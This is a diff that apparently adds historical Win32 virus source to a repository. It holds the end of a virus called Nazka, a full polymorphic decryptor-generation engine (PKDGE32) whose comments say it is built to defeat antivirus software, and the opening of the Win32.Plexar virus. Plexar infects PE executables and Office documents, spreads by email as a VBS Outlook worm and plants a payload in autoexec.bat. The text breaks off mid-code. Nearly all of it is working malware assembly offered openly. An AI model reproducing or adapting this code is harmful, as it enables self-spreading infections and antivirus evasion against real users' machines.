+RVA__lopen dd 0 +RVA_MoveFileExA dd 0 +RVA_OpenFile dd 0 + +RVA_WriteProcessMemory dd 0 +RVA_GetCurrentProcess dd 0 +RVA_CreateFileMappingA dd 0 +RVA_MapViewOfFile dd 0 +RVA_UnmapViewOfFile dd 0 +RVA_CloseHandle dd 0 +RVA_SetFilePointer dd 0 +RVA_SetEndOfFile dd 0 +RVA_SetFileTime dd 0 +RVA_GetWindowsDirectoryA dd 0 +RVA_GetCurrentDirectoryA dd 0 +RVA_SetCurrentDirectoryA dd 0 +RVA_GetSystemDirectoryA dd 0 +RVA_GetSystemTime dd 0 +RVA_LoadLibraryA dd 0 +RVA_FindClose dd 0 +RVA_VirtualAlloc dd 0 +RVA_VirtualFree dd 0 +RVA_CreateThread dd 0 + +SystemTime label dword + Year dw 0 + Month dw 0 + DayOfWeek dw 0 + Day dw 0 + Hours dw 0 + Minutes dw 0 + Seconds dw 0 + Miliseconds dw 0 + +org SystemTime + +FindFileField label dword + FileAttributes dd 0 + CreationTime dd 0 + dd 0 + LastAccessTime dd 0 + dd 0 + LastWriteTime dd 0 + dd 0 + FileSizeHigh dd 0 + FileSizeLow dd 0 + Reserved dd 0 + dd 0 + FileName db 104h dup (0) + AlternateFileName db 10h dup (0) +FindFileFieldSize equ $ - offset FindFileField + +Random proc + push ecx + mov eax, [ebp+DwordAleatorio1] + dec dword ptr [ebp+DwordAleatorio1] + xor eax, [ebp+DwordAleatorio2] + mov ecx, eax + rol dword ptr [ebp+DwordAleatorio1], cl + add [ebp+DwordAleatorio1], eax + adc eax, [ebp+DwordAleatorio2] + add eax, ecx + ror eax, cl + not eax + sub eax, 3 + xor [ebp+DwordAleatorio2], eax + xor eax, [ebp+DwordAleatorio3] + rol dword ptr [ebp+DwordAleatorio3], 1 + sub dword ptr [ebp+DwordAleatorio3], ecx + sbb dword ptr [ebp+DwordAleatorio3], 4 + inc dword ptr [ebp+DwordAleatorio2] + pop ecx + ret +Random endp + +SystemTimeReceiver label dword +DwordAleatorio1 dd 12345678h +DwordAleatorio2 dd 9ABCDEF0h +DwordAleatorio3 dd 0A40d1739h ; :)) + +DecrunchBuffer db 21 dup (0) + + align 4 ; Align on a 4-byte boundary +End_Virus label dword + +FakedHost: push 0 + push offset Titulo + push offset Mensaje + push 0 + call MessageBoxA + + @@Fin: push 0 + call ExitProcess + + end Nazka diff --git a/Engines/Virus.Win32.Pker.inc b/Engines/Virus.Win32.Pker.inc new file mode 100644 index 00000000..f979f066 --- /dev/null +++ b/Engines/Virus.Win32.Pker.inc @@ -0,0 +1,928 @@ +; +; pker's Decryptor Generation Engine for Win32 (PKDGE32) +; ====================================================== +; +; +; Description +; ----------- +; +; I wanted to code a polymorphic engine when I first started coding this. Then +; I got the idea of generating decrypt code dynamically instead of morphing the +; original decrypt code. The generated decryptor uses random registerz, with +; junk code inserted, and it's instruction-permutable. When coding, I found +; that the name 'decrypt generation engine' is more appropriate than a poly- +; morphic engine, so I renamed it to PKDBE32. +; +; Generally, the decrypt code looks like the following: +; +; mov Rw,offset code2decrypt ; (1) +; mov Rz,decrypt_size ; (2) +; decrypt_loop: xor byte [Rw],imm8 ; (3) +; inc Rw ; (4) +; dec Rz ; (5) +; jnz decrypt_loop ; (6) +; +; As we can see, I used Rx, Ry, Rz in the code above, instead of EAX, EBX, ... +; this means the we can use random registerz in the decrypt code. The engine +; can select random registerz to generate each instruction. Meanwhile, the +; first 2 instructionz are permutable, so the engine will put the 2 instruc- +; tionz in a random order. Also, we know that some of the instructionz can be +; replaced by other instructionz that performed the same. For example, we can +; use PUSH/POP to replace MOV XXX/XXX, etc. Last but important, is, the engine +; will insert junk codez after each instructionz. +; +; One more thing, the engine setup a SEH frame before the decrypt code in order +; to fuck some AVsoftz. And of course, there're also junk codez between these +; instructionz. +; +; The SEH frame's like the following code: +; +; start: call setup_seh ; (1) +; mov esp,[esp+8] ; (2) +; jmp end_seh ; (3) +; setup_seh: xor Rx,Rx ; (4) +; push dword [fs:Rx] ; (5) +; mov [fs:Rx],esp ; (6) +; dec dword [Rx] ; (7) +; jmp start ; (8) +; end_seh: xor Ry,Ry ; (9) +; pop dword [fs:Ry] ; (10) +; pop Rz ; (11) +; +; Then comes the real decrypt code (generated by this engine). +; +; +; How to use it? +; -------------- +; +; This engine can compile with FASM, TASM and MASM, etc. +; +; When using FASM we can: +; +; decryptor: times 40h db 90h +; crypt_code: ... +; crypted_size = $-crypt_code +; rng_seed dd ? +; +; gen_decrytpor: mov edi,decryptor +; mov esi,rng_seed +; mov ebx,crypt_code +; mov ecx,crypted_size +; mov edx,9ah +; call __pkdge32 +; +; When using TASM or MASM we should: +; +; decryptor db 40h dup (90h) +; crypt_code: ... +; crypted_size = $-crypt_code +; rng_seed dd ? +; +; gen_decrytpor: mov edi,offset decryptor +; mov esi,offset rng_seed +; mov ebx,offset crypt_code +; mov ecx,crypted_size +; mov edx,9ah +; call __pkdge32 +; +; One more feature, the engine returns the address of the code2decrypt field in +; the decryptor, so we can fix this value after generating the decryptor. This +; means we can replace the code which to be decrypt anywhere after generating +; the decrypt code. We can replace our code which to be decrypted just after +; the decryptor, without padding so many NOPz between them :P +; +; We could code like this: +; +; col_code: times crypted_size+200h db 0 +; +; gen_decrytpor: mov edi,col_code +; mov esi,rng_seed +; mov ecx,crypted_size +; mov ebx,12345678h +; mov edx,12345678h +; call __pkdge32 +; fix_address: mov esi,edi +; xchg eax,edi +; stosd +; xchg esi,edi +; copy_code: mov esi,crypt_code +; mov ecx,crypted_size +; rep movsb +; +; Well, enjoy it! +; +; +; Copyright +; --------- +; +; (c) 2004. No rightz reserved. Use without permission :P. +; + + +; +; __pkdge32 procedure +; =================== +; +; +; Description +; ----------- +; +; This is the main procedure of the engine. It controlz the whole generation +; process, including SEH setup, instruction generation, junk code insertion, +; etc. +; +; +; Parameterz and Return Value +; --------------------------- +; +; Input: +; ecx --- decrypt buffer size (counter in bytez) +; edx --- decrypt key +; edi --- pointz to the buffer to save decryptor +; ebx --- pointz to the buffer where saved the encrypted code +; esi --- pointz to the RNG seed buffer +; +; Output: +; edi --- the end of the decryptor +; eax --- pointz to the address of the code which will be decrypted in +; the decryptor, this means we can place the code which will be +; decrypted anywhere by fixing the value pointed by EAX +; + +__pkdge32: pushad + xor ebp,ebp + xchg esi,edi ; initialize the RNG seed + call __randomize ; ... + xchg esi,edi ; ... + +; +; First, we select four random registerz for later use. These four registerz +; are all different +; + + xor ebx,ebx ; used to save Rw, Rz, Rx, Ry + call pkdg_sel_reg + or bl,al + call pkdg_sel_reg + shl ebx,4 + or bl,al + call pkdg_sel_reg + shl ebx,4 + or bl,al + call pkdg_sel_reg + shl ebx,4 + or bl,al + +; +; We setup a SEH frame, then we raise an exception and run the following codez. +; This action may fuck some of the AVsoftz. +; + + push edi + xor eax,eax ; some junk code + call __pkdge32_junk ; ... + mov al,0e8h ; seh instruction 1 + stosb ; ... + stosd ; addr 1, no matter what, fix l8r + push edi ; save addr1 to fix + xor eax,eax ; some junk code + call __pkdge32_junk ; ... + mov eax,0824648bh ; seh instruction 2 + stosd ; ... + xor eax,eax ; some junk code + call __pkdge32_junk ; ... + mov al,0ebh ; seh instruction 3 + stosb ; ... + stosb ; addr 2, no matter what, fix l8r + push edi ; save addr2 to fix + mov eax,[esp+4] ; fix addr1 + xchg edi,eax ; ... + sub eax,edi ; ... + sub edi,4 ; ... + stosd ; ... + add edi,eax ; ... + xor eax,eax ; some junk code + call __pkdge32_junk ; ... + mov ah,bl ; seh instruction 4 + and ah,7 ; ... + or eax,0c031h ; ... + push ebx ; ... + and ebx,7 ; ... + shl ebx,11 ; ... + or eax,ebx ; ... + pop ebx ; ... + stosw ; ... + xor eax,eax ; some junk code + call __pkdge32_junk ; ... + mov eax,0ff64h ; seh instruction 5 + stosw ; ... + mov al,bl ; ... + and eax,7 ; ... + or al,30h ; ... + stosb ; ... + xor eax,eax ; some junk code + call __pkdge32_junk ; ... + mov eax,8964h ; seh instruction 6 + stosw ; ... + mov al,bl ; ... + and eax,7 ; ... + or al,20h ; ... + stosb ; ... + xor eax,eax ; some junk code + call __pkdge32_junk ; ... + mov ah,bl ; seh instruction 7 + and eax,700h ; ... + or eax,08ffh ; ... + stosw ; ... + xor eax,eax ; some junk code + call __pkdge32_junk ; ... + mov al,0ebh ; seh instruction 8 + stosb ; ... + mov eax,[esp+8] ; ... + sub eax,edi ; ... + dec eax ; ... + stosb ; ... + xor eax,eax ; some junk code + call __pkdge32_junk ; ... + pop eax ; fix addr2 + xchg eax,edi ; ... + sub eax,edi ; ... + dec edi ; ... + stosb ; ... + add edi,eax ; ... + mov ah,bh ; seh instruction 9 + and eax,700h ; ... + or eax,0c031h ; ... + push ebx ; ... + and ebx,700h ; ... + shl ebx,3 ; ... + or eax,ebx ; ... + pop ebx ; ... + stosw ; ... + xor eax,eax ; some junk code + call __pkdge32_junk ; ... + mov eax,8f64h ; seh instruction 10 + stosw ; ... + mov al,bh ; ... + and eax,7 ; ... + stosb ; ... + xor eax,eax ; some junk code + call __pkdge32_junk ; ... + mov al,bh ; seh instruction 11 + and al,7 ; ... + or al,58h ; ... + stosb ; ... + xor eax,eax ; some junk code + call __pkdge32_junk ; ... + add esp,8 ; balance the stack + +; +; Now, generate the first two instructionz with junk codez between them, and +; permute the two instructionz in a random order. +; + + mov ecx,2 + call __random_rdtsc + or ecx,ecx + jz pkdg_gen_12 + call pkdg_gen_1 + call pkdg_gen_2 + jmp pkdg_gen_f2f +pkdg_gen_12: call pkdg_gen_2 + call pkdg_gen_1 + +; +; The last step, we generate the last four instructionz with junk codez in them +; these four instructionz must in the same order, but the registerz they use +; are still random +; + +pkdg_gen_f2f: mov esi,[esp+4] ; restore ESI + push edi ; save loop address + + push esi + mov eax,ebx ; xor byte [Rw],Imm8 + shr eax,12 ; ... + and al,7 ; ... + mov esi,[esp+28] ; ... + call __pkdge32_gen_xor_reg_imm + pop esi + xor eax,eax + call __pkdge32_junk + + mov eax,ebx ; inc Rw + shr eax,12 ; ... + and eax,7 ; ... + or al,40h + stosb + xor eax,eax + call __pkdge32_junk + + mov eax,ebx ; dec Rz + shr eax,4 ; ... + and eax,7 ; ... + or al,48h ; ... + stosb ; ... + + pop eax ; jnz decrypt_loop + sub eax,edi ; get delta + dec eax ; ... + dec eax ; ... + push eax + mov al,75h ; write opcode + stosb ; ... + pop eax + stosb ; write operand + xor eax,eax + call __pkdge32_junk + + mov [esp],edi ; save new EDI + popad + ret + +pkdg_gen_1: mov esi,[esp+20] ; get offset code2decrypt + mov eax,ebx ; get Rw + shr eax,12 ; ... + call pkdge32_gen12 + mov [esp+32],eax ; save offset of code2decrypt + ret +pkdg_gen_2: mov esi,[esp+28] ; get decrypt_size + mov eax,ebx ; get Rz + shr eax,4 ; ... + and eax,0fh ; ... + call pkdge32_gen12 + ret + +; +; Using this function to generate the first two instructionz of the decryptor, +; which are permutable +; + +pkdge32_gen12: push ecx + push eax ; save mask + mov ecx,2 ; determine using MOV REG/IMM + call __random_rdtsc ; or PUSH IMM/POP REG + or eax,eax + pop eax ; restore mask + pop ecx + jz pkdg_g123_0 + call __pkdge32_gen_mov_reg_imm + push edi + xor eax,eax + mov esi,[esp+16] + call __pkdge32_junk + pop eax + sub eax,4 + ret +pkdg_g123_0: call __pkdge32_gen_pushimm_popreg + push eax + xor eax,eax + mov esi,[esp+16] + call __pkdge32_junk + pop eax + sub eax,4 + ret + +; +; This procudure selectz the random register Rw, Rx, Ry, Rz. The function will +; make EBX to the following structure: +; +; 31 15 0 +; +-----+-----+-----+-----+------+------+------+------+ +; | 0 | 0 | 0 | 0 | Rw | Ry | Rz | Rx | +; +-----+-----+-----+-----+------+------+------+------+ +; + +pkdg_sel_reg: mov eax,[esp+8] ; select random register + mov edx,8 ; ... + call __random ; ... + or al,al + jz pkdg_sel_reg ; don't use EAX + cmp al,4 + jz pkdg_sel_reg ; don't use ESP + cmp al,5 + jz pkdg_sel_reg ; don't use EBP + or al,8 ; DWORD type + + push ebx + and ebx,0fh + cmp bl,al ; R == Rx ? + pop ebx + jz pkdg_sel_reg + + push ebx + shr ebx,4 + and ebx,0fh + cmp bl,al ; R == Rz ? + pop ebx + jz pkdg_sel_reg + + push ebx + shr ebx,8 + cmp bl,al ; R == Ry ? + pop ebx + jz pkdg_sel_reg + + push ebx + shr ebx,12 + cmp bl,al ; R == Rw ? + pop ebx + jz pkdg_sel_reg + ret + + +; +; __pkdge32_test_regmask procedure +; ================================ +; +; +; Description +; ----------- +; +; All the register mask in the engine (PKDGE32) measure up this formula: +; bit 2~0 specifies the register mask, bit 8 and bit 3 specifies the type of +; the operand +; +; +-------+-------+--------+ +; | bit 8 | bit 3 | type | +; +-------+-------+--------+ +; | x | 0 | byte | +; +-------+-------+--------+ +; | 0 | 1 | dword | +; +-------+-------+--------+ +; | 1 | 1 | word | +; +-------+-------+--------+ +; +; This function test this mask, if it specified a WORD type, the function STOSB +; an accessorial opcode 66H. If it specified a BYTE or DWORD type, function do +; nothing but return +; +; +; Parameterz and Return Value +; --------------------------- +; +; Input: +; eax --- register mask +; edi --- pointz to the buffer to save the instructionz +; +; Output: +; Nothing +; + +__pkdge32_test_regmask: + test ah,1 + jz pkdg_trm_ret + push eax + mov al,66h + stosb + pop eax +pkdg_trm_ret: ret + + +; +; __pkdge32_gen_mov_reg_imm procedure +; =================================== +; +; +; Description +; ----------- +; +; This function generatez MOV REG,IMM type of instructionz. +; +; +; Parameterz and Return Value +; --------------------------- +; +; Input: +; eax --- register mask +; edi --- pointz to the buffer to save the instructionz +; esi --- immediate number (source operand) +; +; Output: +; Generate a instruction in the buffer EDI pointed, EDI pointz to the new +; position in the buffer +; + +__pkdge32_gen_mov_reg_imm: + call __pkdge32_test_regmask + push esi + or al,0b0h ; generate opcode + stosb ; ... + xchg eax,esi ; EAX get the operand + shr esi,4 + jc pkdg_gmri_dw ; word/dword ? byte ? + stosb ; byte + pop esi + ret +pkdg_gmri_dw: shr esi,5 + pop esi + jc pkdg_gmri_w + stosd ; dword + ret +pkdg_gmri_w: stosw ; word + ret + + +; +; __pkdge32_gen_pushimm_popreg procedure +; ====================================== +; +; +; Description +; ----------- +; +; This function generatez PUSH IMM/POP REG group instructionz. +; +; +; Parameterz and Return Value +; --------------------------- +; +; Input: +; eax --- register mask +; edi --- pointz to the buffer to save the instructionz +; esi --- immediate number (source operand) +; +; Output: +; Generate a instruction in the buffer EDI pointed, EDI pointz to the new +; position in the buffer +; + +__pkdge32_gen_pushimm_popreg: + call __pkdge32_test_regmask + push ecx + mov ecx,esi ; save IMM in ecx + xchg esi,eax + test esi,8 ; test BYTE or WORD/DWORD + jz pkdg_gpp_b + mov al,68h ; push WORD/DWORD + stosb ; write opcode + xchg eax,ecx ; get IMM + test esi,100h ; test WORD or DWORD + jnz pkdg_gpp_w + stosd ; write operand + jmp pkdg_gpp_pop +pkdg_gpp_w: stosw + jmp pkdg_gpp_pop +pkdg_gpp_b: mov al,6ah ; push BYTE + stosb ; write opcode + mov al,cl ; get IMM + stosb ; write operand +pkdg_gpp_pop: push edi + xor eax,eax + push esi + mov esi,[esp+28] + call __pkdge32_junk + pop esi + call __pkdge32_test_regmask + xchg esi,eax + or al,58h ; generate POP opcode + stosb ; write pop REG opcode + pop eax + pop ecx + ret + + +; +; __pkdge32_gen_xor_reg_imm procedure +; =================================== +; +; +; Description +; ----------- +; +; This function generatez XOR [REG],IMM type of instructionz. +; +; +; Parameterz and Return Value +; --------------------------- +; +; Input: +; eax --- register mask +; esi --- the immediate number +; edi --- pointz to the buffer to save the instructionz +; +; Output: +; Generate a instruction in the buffer EDI pointed, EDI pointz to the new +; position in the buffer +; + +__pkdge32_gen_xor_reg_imm: + call __pkdge32_test_regmask + test al,1000b + jnz pkdg_gxri_dw + and eax,7 ; register mask + xchg al,ah + or eax,3080h + stosw + xchg eax,esi + stosb + ret +pkdg_gxri_dw: push eax + and eax,7 ; register mask + xchg al,ah + or eax,3081h + stosw + xchg eax,esi + pop esi + shr esi,9 + jc pkdg_gxri_w + stosd ; dword + ret +pkdg_gxri_w: stosw ; word + ret + + +; +; __pkdge32_junk procedure +; ======================== +; +; +; Decription +; ---------- +; +; This is the junk code generator. It generatez length-spceified instructionz, +; dummy jumpz and anti-static-debugging opcodez. +; +; This procedure use EAX as junk register in order to generate instructionz +; like: +; +; mov eax,21343ab7h +; shr eax,8 +; or: +; push eax +; rol eax,1 +; pop eax +; etc. +; +; It generatez dummy jumpz such as: +; +; call @1 +; junk +; jmp @3 +; @2: junk +; ret +; @1: junk +; jmp @2 +; @3: junk +; +; It also generatez anti-static-debugging opcodez such as: +; +; jmp @0 +; db e9h +; @@: +; +; +; Parameterz and Return Value +; --------------------------- +; +; Input: +; eax --- If eax equalz to zero, the function generatez random length of +; instructionz, if eax is nonzero, the function generatez a +; certain length of instruction. +; esi --- pointz to the RNG seed buffer +; edi --- pointz to the buffer to save the instructionz +; +; Output: +; Nothing but junk codez in the buffer that EDI specified +; + +__pkdge32_junk: pushad + xor ebx,ebx + xchg esi,ebp ; let EBP hold the seed ptr. + or eax,eax ; EAX containz number from 0~7 + jnz pkdg_js ; 0~5: gen. 0~5 bytez of junk codez + mov edx,7 ; 6: generate dummy jumpz + mov eax,ebp + call __random ; ... +pkdg_js: or eax,eax ; 0: nothing to do + jz pkdg_j_ret ; just go back + xchg ecx,eax ; let ECX hold that number + cmp ecx,6 + jz pkdg_j_dj + +; +; Generate certain length simpile instructionz +; + +pkdg_j_gclsi: mov edx,ecx + mov eax,ebp + call __random + or eax,eax + jz pkdg_j_g1b + dec eax + jz pkdg_j_g2b + dec eax + jz pkdg_j_g3b + dec eax + dec eax + jz pkdg_j_g5b + jmp pkdg_j_gclsi + +; +; Generate 5-byte instruction +; + +pkdg_j_g5b: call pkdg_j_5 + db 0b8h ; mov eax,imm32 + db 05h ; add eax,imm32 + db 15h ; adc eax,imm32 + db 2dh ; sub eax,imm32 + db 1dh ; sbb eax,imm32 + db 3dh ; cmp eax,imm32 + db 0a9h ; test eax,imm32 + db 0dh ; or eax,imm32 + db 25h ; and eax,imm32 + db 35h ; xor eax,imm32 +pkdg_j_5: pop esi + mov eax,ebp + mov edx,10 + call __random + add esi,eax + movsb + mov eax,ebp + mov edx,0fffffffch + call __random + inc eax + inc eax + stosd + sub ecx,5 ; decrease counter + jz pkdg_j_rptr + jmp pkdg_j_gclsi + +; +; Generate 3-byte instruction +; + +pkdg_j_g3b: call pkdg_j_3 + db 0c1h,0e0h ; shl eax,imm8 + db 0c1h,0e8h ; shr eax,imm8 + db 0c1h,0c0h ; rol eax,imm8 + db 0c1h,0c8h ; ror eax,imm8 + db 0c1h,0d0h ; rcl eax,imm8 + db 0c1h,0d8h ; rcr eax,imm8 + db 0c0h,0e0h ; shl al,imm8 + db 0c0h,0e8h ; shr al,imm8 + db 0c0h,0c0h ; rol al,imm8 + db 0c0h,0c8h ; ror al,imm8 + db 0c0h,0d0h ; rcl al,imm8 + db 0c0h,0d8h ; rcr al,imm8 + db 0ebh,01h ; anti-static-debugging instr. +pkdg_j_3: pop esi + mov eax,ebp + mov edx,13 + call __random + shl eax,1 ; EAX *= 2 + add esi,eax + movsw + cmp eax,24 + jge pkdg_j3_anti + mov eax,ebp + mov edx,14 + call __random + inc eax + inc eax +pkdg_j_3f: stosb + sub ecx,3 ; decrease counter + jz pkdg_j_rptr + jmp pkdg_j_gclsi +pkdg_j3_anti: mov eax,ebp + mov edx,10h + call __random + add al,70h + jmp pkdg_j_3f + +; +; Generate 2-byte instruction +; + +pkdg_j_g2b: call pkdg_j_2 + db 89h ; mov eax,reg + db 01h ; add eax,reg + db 11h ; adc eax,reg + db 29h ; sub eax,reg + db 19h ; sbb eax,reg + db 39h ; cmp eax,reg + db 85h ; test eax,reg + db 09h ; or eax,reg + db 21h ; and eax,reg + db 31h ; xor eax,reg + db 0b0h ; mov al,imm8 + db 04h ; add al,imm8 + db 14h ; adc al,imm8 + db 2ch ; sub al,imm8 + db 1ch ; sbb al,imm8 + db 3ch ; cmp al,imm8 + db 0a8h ; test al,imm8 + db 0ch ; or al,imm8 + db 24h ; and al,imm8 + db 34h ; xor al,imm8 +pkdg_j_2: pop esi + mov eax,ebp + mov edx,20 + call __random + add esi,eax + movsb ; write the opcode + cmp eax,10 + jge pkdg_j2_imm8 + mov eax,ebp + mov edx,8 + call __random + shl eax,3 ; dest. operand + or al,0c0h ; ... + jmp pkdg_j2_f +pkdg_j2_imm8: mov eax,ebp + mov edx,100h + call __random +pkdg_j2_f: stosb + dec ecx ; decrease counter + dec ecx ; ... + jz pkdg_j_rptr + jmp pkdg_j_gclsi + +; +; Generate 1-byte instruction +; + +pkdg_j_g1b: call pkdg_j_1 + db 90h ; nop + db 0f8h ; clc + db 0f9h ; stc + db 40h ; inc eax + db 48h ; dec eax + db 37h ; aaa + db 3fh ; aas + db 98h ; cbw + db 0fch ; cld + db 0f5h ; cmc + db 27h ; daa + db 2fh ; das + db 9fh ; lahf + db 0d6h ; salc +pkdg_j_1: pop esi + mov eax,ebp + mov edx,14 + call __random + add esi,eax + movsb ; write the code + dec ecx ; decrease counter + or ecx,ecx + jnz pkdg_j_gclsi +pkdg_j_rptr: mov [esp],edi +pkdg_j_ret: popad + ret + +; +; Generate dummy jumpz. the generation formula show in the decription of the +; __pkdge32_junk procedure +; + +pkdg_j_dj: mov al,0e8h ; call xxxxxxxx + stosb ; ... + stosd ; addr1, no matter what, fix l8r + push edi + mov eax,ebp ; some more junx + mov edx,6 ; ... + call __random ; ... + mov esi,ebp ; ... + call __pkdge32_junk ; ... + mov al,0ebh ; jmp xx + stosb ; ... + stosb ; addr2, no matter what, fix l8r + push edi + mov eax,ebp ; some more junx + mov edx,6 ; ... + call __random ; ... + mov esi,ebp ; ... + call __pkdge32_junk ; ... + mov al,0c3h ; ret + stosb ; ... + mov eax,[esp+4] ; fix addr1 + xchg eax,edi ; ... + sub eax,edi ; ... + sub edi,4 ; ... + stosd ; ... + add edi,eax ; ... + mov eax,ebp ; some more junx + mov edx,6 ; ... + call __random ; ... + mov esi,ebp ; ... + call __pkdge32_junk ; ... + mov al,0ebh ; jmp xx + stosb ; ... + mov eax,[esp] ; ... + sub eax,edi ; ... + dec eax ; ... + stosb ; ... + pop eax ; fix addr2 + xchg eax,edi ; ... + sub eax,edi ; ... + dec edi ; ... + stosb ; ... + add edi,eax ; ... + pop eax ; pop a shit + mov eax,ebp ; some more junx + mov edx,6 ; ... + call __random ; ... + mov esi,ebp ; ... + call __pkdge32_junk ; ... + jmp pkdg_j_rptr diff --git a/Engines/Virus.Win32.Plexar.asm b/Engines/Virus.Win32.Plexar.asm new file mode 100644 index 00000000..074f70b5 --- /dev/null +++ b/Engines/Virus.Win32.Plexar.asm @@ -0,0 +1,3192 @@ + +; +; < Win32.Plexar > +; Designed by LiteSys in Venezuela, South America +; +; PE/DOC/XLS/OUTLOOK Multithreaded Polymorphic Direct Action infector. +; +; Welcome to Plexar, my latest code. +; +; It infects PE files by incrementing the last section, I don't overwrite +; .reloc section, it's preferible to let it alone. In fact, this virus +; avoids infecting some AV or Win32 files that should never be infected. +; This is done by CRC32 comparation. +; +; Infects Word and Excel documents by dropping (thru VBScript) a macro +; module-infectant virus in the normal template and personal.xls that is +; capable of dropping an infected PE file to the Windows directory and then +; running it. +; +; Distributes through Electronic Mail by dropping a VBS worm capable of +; sending infected droppers to every email address in the Outlook address +; book. Sorry but I didn't have any time to code a decent MAPI worm =(. +; +; The Poly engine is another lame table-driven engine written by me =), no +; anti-aver intentions were the reason to write that poly engine, just to +; conceal the code a little. So I think it doesn't desire an explanation +; because the garbage is very lame. +; +; It runs the different routines (word infection, vbs worm, direct action) +; in different threads. As I always said, I don't optimize my code too much. +; +; The payload is very funny and if you're from Venezuela I hope you +; appreciate it. Consists in dropping a simple com file that displays +; some silly stuff in spanish, it runs on autoexec.bat but won't display +; the message until the following rule is complied (this is a very +; kewl idea I learnt from Byway ;D): +; +; If Month <= 7: Day = Month^2 / 3 + 4 +; If Month >= 8: Day = Month^2 / 5 - 4 +; +; So the payload will run on every month (as a coincidence, the formula +; pointed to December 24th :P). It's not destructive so don't blame me. +; +; This virus has lots of bugs, i've corrected many but still there are a +; lot. It was tested under Win95 (4.10.1111), Win98 (4.10.1998), WinME and +; WinNT (4.0/SP4), the virus worked perfectly under those versions. I don't +; know about Win98 SE and Win2K, since I don't have them installed, I have +; the CDs here but i'm a lazy ass and my HD space is totally phuken. +; +; Virus Size = 12kb. Code not commented. Nor even AVP or Norton (with +; their "high heuristic" bloodhound shit) flagged the infected PE baits, +; except from Norton, which flagged the VBS worm. +; +; If you need to contact me you can use both mail addresses: litesys@monte.as +; or liteno2@softhome.net. Rembember, for decent stuff. +; +; Patria o Muerte: Venceremos. +; LiteSys. +; Venezuela, Julio/Agosto - (c) 2001 +; + +.586 +.MODEL FLAT, STDCALL + +INCLUDE C:\TOOLS\TASM\INCLUDE\WIN32API.INC +INCLUDE C:\TOOLS\TASM\INCLUDE\WINDOWS.INC + +EXTRN ExitProcess:PROC +EXTRN MessageBoxExA:PROC + +.DATA + + DEBUG EQU FALSE + + OFS EQU + BY EQU + WO EQU + DWO EQU + RDTSC EQU + + APICALL MACRO APIz + CALL DWORD PTR [APIz + EBP] + ENDM + + Numero_Paginas EQU 32h + K32_W9X EQU 0BFF70000h + GPA_W9X EQU 0BFF76DACh + Virus_Tamao EQU (Termina_Plexar - Empieza_Plexar) + + Titulo DB "Plexar." + DB Virus_Tamao / 10000 MOD 10 + 30h + DB Virus_Tamao / 01000 MOD 10 + 30h + DB Virus_Tamao / 00100 MOD 10 + 30h + DB Virus_Tamao / 00010 MOD 10 + 30h + DB Virus_Tamao / 00001 MOD 10 + 30h + DB 00h + + Mensaje DB "Plexar (c) 2001 LiteSys " + DB "-- Activado." + DB 00h + + REG_SZ EQU <1> + HKEY_LOCAL_MACHINE EQU <80000002h> + +.CODE + +Empieza_Plexar: + + CALL @Delta + @Delta: + POP EAX + XCHG EBP, EAX + SUB EBP, OFFSET @Delta + + JMP @@1 + DB 00h, 00h, "[PLEXAR]", 00h, 00h + @@1: + + CALL @SEH_1 + + MOV ESP, DWORD PTR [ESP+8h] + JMP @FueraHost + + @SEH_1: + + XOR EAX, EAX + PUSH DWORD PTR FS:[EAX] + MOV FS:[EAX], ESP + + MOV EDI, DWORD PTR [ESP+8h] + CALL Busca_K32 + CALL Busca_GPA + + LEA ESI, OFS [CreateFileA] + LEA EDI, OFS [APIs_K32] + MOV EBX, DWO [KERNEL32] + CALL Busca_APIs + + LEA EDX, OFS [RewtDir] + PUSH EDX + PUSH MAX_PATH + APICALL GetCurrentDirectoryA + OR EAX, EAX + JZ @FueraHost + + IF DEBUG + + PUSH EBP + CALL Directa + + PUSH EBP + CALL Worm_VBS + + PUSH EBP + CALL Infecta_Word + + JMP @FueraHost + + ELSE + + CALL Thread + + ENDIF + + CALL Er_Pailon + + @FueraHost: + + XOR ECX, ECX + POP DWORD PTR FS:[ECX] + POP ECX + + PUSH 12345678h + ORG $-4 + HostBack DD OFFSET Mentira + RET + +; + + ; El Thread Principal, carga los otros threads. + + Thread PROC + PUSHAD + + AND BY [Listo_Directa], 00h + + XOR EAX, EAX + LEA EBX, OFS [Thread_Directa] + PUSH EBX + PUSH EAX + PUSH EBP + LEA EBX, OFS [Directa] + PUSH EBX + PUSH EAX + PUSH EAX + APICALL CreateThread + MOV DWO [Thread_Directa], EAX + OR EAX, EAX + JZ @FinThread + + PUSH 02h + PUSH EAX + APICALL SetThreadPriority + + @RevDirect: + PUSH -1 + PUSH DWO [Thread_Directa] + APICALL WaitForSingleObject + + CMP BY [Listo_Directa], 01h + JNZ @RevDirect + + XOR EAX, EAX + LEA EBX, OFS [Thread_WormVBS] + PUSH EBX + PUSH EAX + PUSH EBP + LEA EBX, OFS [Worm_VBS] + PUSH EBX + PUSH EAX + PUSH EAX + APICALL CreateThread + MOV DWO [Thread_WormVBS], EAX + OR EAX, EAX + JZ @FinThread + + PUSH 02h + PUSH EAX + APICALL SetThreadPriority + + XOR EAX, EAX + LEA EBX, OFS [Thread_IWord] + PUSH EBX + PUSH EAX + PUSH EBP + LEA EBX, OFS [Infecta_Word] + PUSH EBX + PUSH EAX + PUSH EAX + APICALL CreateThread + MOV DWO [Thread_IWord], EAX + OR EAX, EAX + JZ @FinThread + + PUSH 02h + PUSH EAX + APICALL SetThreadPriority + + PUSH -1 + PUSH TRUE + LEA EAX, OFS [Thread_WormVBS] + PUSH EAX + PUSH 02h + APICALL WaitForMultipleObjects + + @FinThread: + + POPAD + RET + + Thread ENDP + +; + + ; Payload. + + Er_Pailon PROC + PUSHAD + + CDQ + PUSH EDX + PUSH FILE_ATTRIBUTE_NORMAL + PUSH CREATE_NEW + PUSH EDX + PUSH EDX + PUSH GENERIC_WRITE + LEA EAX, OFS [CocoFrio] + PUSH EAX + APICALL CreateFileA + MOV DWO [PFHandle], EAX + INC EAX + JZ @P_Fin + DEC EAX + XCHG EBX, EAX + + XOR EDX, EDX + PUSH EDX + LEA EAX, OFS [PTemporal] + PUSH EAX + PUSH Largo_PProg + LEA EAX, OFS [Payload_Prog] + PUSH EAX + PUSH EBX + APICALL WriteFile + OR EAX, EAX + JZ @P_Fin + + PUSH DWO [PFHandle] + APICALL CloseHandle + + CDQ + PUSH EDX + PUSH FILE_ATTRIBUTE_NORMAL + PUSH OPEN_EXISTING + PUSH EDX + PUSH EDX + PUSH GENERIC_WRITE + LEA EAX, OFS [AutoExec] + PUSH EAX + APICALL CreateFileA + MOV DWO [PFHandle], EAX + INC EAX + JZ @P_Fin + DEC EAX + + CDQ + PUSH 00000002h + PUSH EDX + PUSH 